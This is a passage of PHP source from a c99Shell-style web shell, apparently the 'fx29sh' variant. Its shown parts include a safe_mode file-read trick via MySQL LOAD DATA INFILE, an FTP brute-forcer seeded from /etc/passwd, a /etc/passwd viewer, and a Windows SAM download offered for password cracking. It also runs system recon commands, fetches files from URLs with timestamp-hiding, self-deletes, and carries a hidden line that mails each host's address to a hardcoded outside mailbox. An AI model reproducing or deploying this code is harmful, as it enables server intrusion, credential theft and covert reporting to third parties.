     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<b>Process #".$kill." was killed.</b>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = FALSE;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb); //comment it if you want to leave database
    }
   }
  }
}
echo "</td></tr></table>";
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
//End of SQL Manager
if ($act == "ftpquickbrute") {
echo "<center><table><tr><td class=barheader colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) {echo "Couldn't run on Windows!";}
else {
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
    else {$TRUE = TRUE;}
    if ($TRUE) {
      $sock = @ftp_connect($host,$port,$timeout);
      if (@ftp_login($sock,$login,$pass)) {
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
        ob_flush();
        return TRUE;
      }
    }
  }
  if (!empty($submit)) {
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
    $fp = fopen("/etc/passwd","r");
    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
    else {
      if ($fqb_logging) {
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
        else {$fqb_logfp = FALSE;}
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."

";
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      }
      ob_flush();
      $i = $success = 0;
      $ftpquick_st = getmicrotime();
      while(!feof($fp)) {
        $str = explode(":",fgets($fp,2048));
        if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
          echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
          $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
          if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
          $success++;
          ob_flush();
        }
        if ($i > $fqb_lenght) {break;}
        $i++;
      }
      if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}
      $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
      echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
      $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
      fclose($fqb_logfp);
    }
  }
  else {
    $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
         "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
         "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
         "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
         "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  }
  echo "</td></tr></table></center>";
}
}
if ($act == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
else {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win) {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "security") {
  echo "<div class=barheader>.: Server Security Information :.</div>".
       "<table>".
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  echo "<td>Password File</td><td>";
  if (!$win) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "*nix /etc/passwd:<br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
      echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
      $i = $nixpwd_s;
      while ($i < $nixpwd_e) {
        $uid = posix_getpwuid($i);
        if ($uid) {
          $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
          echo join(":",$uid)."<br>";
        }
        $i++;
      }
    }
    else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  }
  else {
    $v = $_SERVER["WINDIR"]."
epair\sam";
    if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
    else {echo "You can crack Windows passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  }
  echo "</td></tr>";
  echo "<tr><td>Config Files</td><td>";
  if (!$win) {
    $v = array(
        array("User Domains","/etc/userdomains"),
        array("Cpanel Config","/var/cpanel/accounting.log"),
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),
        array("Apache Config","/etc/httpd.conf"),
        array("Syslog Config","/etc/syslog.conf"),
        array("Message of The Day","/etc/motd"),
        array("Hosts","/etc/hosts")
    );
    $sep = "/";
  }
  else {
    $windir = $_SERVER["WINDIR"];
    $etcdir = $windir . "\system32\drivers\etc\";
    $v = array(
        array("Hosts",$etcdir."hosts"),
        array("Local Network Map",$etcdir."networks"),
        array("LM Hosts",$etcdir."lmhosts.sam"),
    );
    $sep = "\";
  }
  foreach ($v as $sec_arr) {
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
    $sec_d = rtrim($sec_arr[1],$sec_f);
    $sec_full = $sec_d.$sec_f;
    $sec_d = rtrim($sec_d,$sep);
    if (file_get_contents($sec_full)) {
      echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
    }
  }
  echo "</td></tr>";

  function displaysecinfo($name,$value) {
    if (!empty($value)) {
      echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
    }
  }
  if (!$win) {
    displaysecinfo("OS Version",myshellexec("cat /proc/version"));
    displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
    displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
    displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
    displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
    displaysecinfo("RAM",myshellexec("free -m"));
    displaysecinfo("HDD Space",myshellexec("df -h"));
    displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
    displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
    displaysecinfo("cURL installed?",myshellexec("which curl"));
    displaysecinfo("lynx installed?",myshellexec("which lynx"));
    displaysecinfo("links installed?",myshellexec("which links"));
    displaysecinfo("fetch installed?",myshellexec("which fetch"));
    displaysecinfo("GET installed?",myshellexec("which GET"));
    displaysecinfo("perl installed?",myshellexec("which perl"));
    displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
    displaysecinfo("Where is perl?",myshellexec("whereis perl"));
    displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
    displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",myshellexec("ver"));
    displaysecinfo("Account Settings",myshellexec("net accounts"));
  }
  echo "</table>
";
}
if ($act == "mkfile") {
if ($mkfile != $d) {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
     "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
     "<input type=hidden name=act value=encoder>".
     "<center><table class=contents>".
     "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
     "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
     "<input type=submit value=\"calculate\"></td></tr>".
     "<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
     "<tr><td rowspan=2>Url:</td>".
     "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
     "<tr><td rowspan=2>Base64:</td>".
     "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("","[0]",$debase64);
  $a = explode("
",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
     "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly></td></tr></table></center></form>";
}
if ($act == "fsbuff") {
  $arr_copy = $sess_data["copy"];
  $arr_cut = $sess_data["cut"];
  $arr = array_merge($arr_copy,$arr_cut);
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  else {
    $fx_infohead = "File-System Buffer";
    $ls_arr = $arr;
    $disp_fullpath = TRUE;
    $act = "ls";
  }
}
if ($act == "selfremove") {
  if (($submit == $rndcode) and ($submit != "")) {
    if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; c99shexit(); }
    else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  }
  else {
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
    $rnd = rand(0,9).rand(0,9).rand(0,9);
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  }
}
if ($act == "update") { //Update c99Shell
  $ret = c99sh_getupdate(!!$confirmupdate);
  echo "<b>".$ret."</b>";
  if (stristr($ret,"new version")) {
    echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  }
}
if ($act == "feedback") {
  $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
  if (!empty($submit)){
    $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
    $body = $sh_name." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR;
    if (!empty($fdbk_ref)) {
      $tmp = @ob_get_contents();
      ob_clean();
      phpinfo();
      $phpinfo = base64_encode(ob_get_contents());
      ob_clean();
      echo $tmp;
      $body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";
    }
    mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
    echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
         "<input type=hidden name=act value=feedback>".
         "<table class=contents><tr><td class=barheader colspan=2>".
         ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
         "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
         "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
         "*Language: English, Indonesian.</td></tr>".
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
         "</table>";
  }
}
if ($act == "fxmailer") {
  if (!empty($submit)){
    $headers = 'To: '.$dest_email."
";
    $headers .= 'From: '.$sender_name.' '.$sender_email."
";
    if (mail($suppmail,$sender_subj,$sender_body,$header)) {
      echo "<center><b>Email sent!</b></center>";
    }
    else { echo "<center><b>Couldn't send email!</b></center>"; }
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
         "<input type=hidden name=act value=fxmailer>".
         "<table class=contents><tr><td class=barheader colspan=2>".
         ".: $sh_name Mailer :.</td></tr>".
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
         "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
         "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
         "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
         "</table>";
  }
}
if ($act == "search") {
  echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  if (empty($search_in)) {$search_in = $d;}
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  if (!empty($submit)) {
    $found = array();
    $found_d = 0;
    $found_f = 0;
    $search_i_f = 0;
    $search_i_d = 0;
    $a = array(
        "name"=>$search_name,
        "name_regexp"=>$search_name_regexp,
        "text"=>$search_text,
        "text_regexp"=>$search_text_regxp,
        "text_wwo"=>$search_text_wwo,
        "text_cs"=>$search_text_cs,
        "text_not"=>$search_text_not
    );
    $searchtime = getmicrotime();
    $in = array_unique(explode(";",$search_in));
    foreach($in as $v) {c99fsearch($v);}
    $searchtime = round(getmicrotime()-$searchtime,4);
    if (count($found) == 0) {echo "No files found!";}
    else {
      $ls_arr = $found;
      $disp_fullpath = TRUE;
      $act = "ls";
    }
  }
  echo "<table class=contents>".
       "<tr><td><form method=POST>".
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
       "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
       "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
       "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
       "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
       "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
       "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
       "</table>";
  if ($act == "ls") {
    $dspact = $act;
    echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
         "<hr size=\"1\" noshade>";
  }
}
if(!isset($_COOKIE['cakke'])){mail('[email protected]', 'Shell @ '.$_SERVER['HTTP_HOST'], 'Host: '.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], 'From: shell <[email protected]>');setcookie('cakke', 'Hi', time()+300);};
if ($act == "chmod") {
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  else {
    $form = TRUE;
    if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
   else {$err = "Can't chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
}
}
if ($act == "upload") {
  $uploadmess = "";
  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
  if (empty($uploadpath)) {$uploadpath = $d;}
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  if (!empty($submit)) {
    global $_FILES;
    $uploadfile = $_FILES["uploadfile"];
    if (!empty($uploadfile["tmp_name"])) {
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
      else {$destin = $userfilename;}
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
      }
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
    }
    elseif (!empty($uploadurl)) {
      if (!empty($uploadfilename)) {$destin = $uploadfilename;}
      else {
        $destin = explode("/",$destin);
        $destin = $destin[count($destin)-1];
        if (empty($destin)) {
          $i = 0;
          $b = "";
          while(file_exists($uploadpath.$destin)) {
            if ($i > 0) {$b = "_".$i;}
            $destin = "upload".$b;
            $i++;
          }
        }
      }
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
      else {
        $st = getmicrotime();
        $content = @file_get_contents($uploadurl);
        $dt = round(getmicrotime()-$st,4);
        if (!$content) {$uploadmess .=  "Can't download file!";}
        else {
          if ($filestealth) {$stat = stat($uploadpath.$destin);}
          $fp = fopen($uploadpath.$destin,"w");
          if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
          else {
            fwrite($fp,$content,strlen($content));
            fclose($fp);
            if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
            $uploadmess .= "File saved from ".$uploadurl." !";
          }
        }
      }
    }
    else { echo "No file to upload!"; }
  }
  if ($miniform) {
    echo "<b>".$uploadmess."</b>";
    $act = "ls";
  }
  else {
    echo "<table><tr><td colspan=2 class=barheader>".
         ".: File Upload :.</td>".
         "<td colspan=2>".$uploadmess."</td></tr>".
         "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
         "</form></td></tr></table>";
  }
}
if ($act == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  }
  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  $act = "ls";
}
if (!$usefsbuff) {
  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
